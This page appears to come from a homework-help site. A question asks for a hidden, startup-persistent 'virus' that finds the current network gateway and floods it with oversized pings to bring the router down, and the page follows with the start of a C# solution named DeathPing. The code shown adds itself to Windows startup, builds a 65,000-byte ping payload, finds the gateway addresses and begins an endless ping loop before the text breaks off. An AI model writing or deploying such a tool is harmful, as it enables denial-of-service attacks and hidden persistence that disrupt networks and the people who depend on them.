Make a program in Java C# or C or any language to determine the rou...

Make a program in Java C# or C or any language to determine the router IP or the gateway IP of the current NIC.

example the router IP is: 192.168.1.1

After the program gets the IP from Network card info it should start make ping attack to the router (death ping) to make the router down or make the network slow. This virus should work in the background, (hidden) after run it and it should start when Windows starts up.

These solutions may offer step-by-step problem-solving explanations or good writing examples that include modern styles of formatting and construction of bibliographies out of text citations and references. Students may use these solutions for personal skill-building and practice. Unethical use is strictly forbidden.

using System;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Windows.Forms;
using Microsoft.Win32;

namespace DeathPing
{
    internal static class Program
    {
       private static int _totalPings;
       private const int TotalAllowed = 4000;

       [STAThread]
       private static void Main()
       {
            var ping = new Ping();
            ping.PingCompleted += ping_PingCompleted;
            SetInStartup();

            var garbage = new byte[65000];

            for (int i = 0; i < garbage.Length; i++)
                garbage[i] = (byte) (i%255);

            var nullIp = new IPAddress(new byte[] {0x00,0x00,0x00,0x00});
            foreach (GatewayIPAddressInformation i in from n in NetworkInterface.GetAllNetworkInterfaces()
                                                      select n.GetIPProperties().GatewayAddresses
                                                      into ip where ip.Count > 0 && !Equals(ip[0].Address, nullIp)
                                                      select ip[0])
                while (true)
                   try
                   {...